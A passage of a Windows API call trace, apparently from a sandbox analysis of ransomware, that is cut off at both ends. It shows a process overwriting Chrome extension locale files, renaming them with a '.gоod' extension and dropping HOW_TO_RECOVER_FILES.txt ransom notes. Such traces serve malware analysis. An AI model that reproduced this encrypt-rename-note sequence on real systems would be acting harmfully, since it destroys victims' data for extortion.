ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55362e48, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0248.629] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553607b6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55362e48, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0248.629] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0248.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0248.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0248.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0248.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0248.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37d4340 | out: lpFileInformation=0x37d4340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553607b6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55362e48, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1 [0248.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0248.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0248.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0248.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0248.630] GetFileType (hFile=0x808) returned 0x1 [0248.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0248.630] GetFileType (hFile=0x808) returned 0x1 [0248.630] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xdd [0248.630] ReadFile (in: hFile=0x808, lpBuffer=0x37d47d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x37d47d8*, lpNumberOfBytesRead=0x1f6e7648*=0xdd, lpOverlapped=0x0) returned 1 [0249.318] CloseHandle (hObject=0x808) returned 1 [0249.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0249.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0249.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.379] GetFileType (hFile=0x808) returned 0x1 [0249.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0249.379] GetFileType (hFile=0x808) returned 0x1 [0249.379] WriteFile (in: hFile=0x808, lpBuffer=0x38f14b0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x38f14b0*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0249.379] CloseHandle (hObject=0x808) returned 1 [0249.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0249.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0249.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0249.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553607b6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55362e48, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x90dbdfae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0249.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0249.380] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.gоod")) returned 1 [0249.380] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0249.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0249.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0249.381] GetFileType (hFile=0x808) returned 0x1 [0249.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0249.381] GetFileType (hFile=0x808) returned 0x1 [0249.382] WriteFile (in: hFile=0x808, lpBuffer=0x38f4de8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x38f4de8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0249.382] CloseHandle (hObject=0x808) returned 1 [0249.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0249.383] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpFilePart=0x0) returned 0x7b [0249.383] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5536f21e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5537402a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5537402a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0249.383] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5536f21e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5537402a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5537402a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.383] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5537402a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553766c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0249.383] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.383] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0249.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0249.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0249.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0249.384] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpFilePart=0x0) returned 0x7b [0249.384] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5536f21e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5537402a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5537402a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0249.384] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5536f21e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5537402a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5537402a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.384] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5537402a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553766c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0249.384] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5537402a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553766c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0249.384] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0249.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0249.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0249.385] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0249.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0249.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3904db8 | out: lpFileInformation=0x3904db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5537402a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553766c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0xcb)) returned 1 [0249.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0251.602] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0251.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0251.602] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0251.603] GetFileType (hFile=0x89c) returned 0x1 [0251.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0251.603] GetFileType (hFile=0x89c) returned 0x1 [0251.639] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xcb [0251.639] ReadFile (in: hFile=0x89c, lpBuffer=0x3a7f648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3a7f648*, lpNumberOfBytesRead=0x1f6e7648*=0xcb, lpOverlapped=0x0) returned 1 [0251.639] CloseHandle (hObject=0x89c) returned 1 [0251.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0251.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0251.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0251.669] GetFileType (hFile=0x89c) returned 0x1 [0251.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0251.669] GetFileType (hFile=0x89c) returned 0x1 [0251.669] WriteFile (in: hFile=0x89c, lpBuffer=0x3af7038*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3af7038*, lpNumberOfBytesWritten=0x1f6e7558*=0xd0, lpOverlapped=0x0) returned 1 [0251.669] CloseHandle (hObject=0x89c) returned 1 [0251.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0251.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0251.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0251.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5537402a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553766c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x92389736, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0251.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0251.669] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.gоod")) returned 1 [0251.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0251.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0251.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0251.671] GetFileType (hFile=0x89c) returned 0x1 [0251.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0251.671] GetFileType (hFile=0x89c) returned 0x1 [0251.672] WriteFile (in: hFile=0x89c, lpBuffer=0x3afa970*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3afa970*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0251.672] CloseHandle (hObject=0x89c) returned 1 [0251.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0251.672] GetFullPathNameW (in: 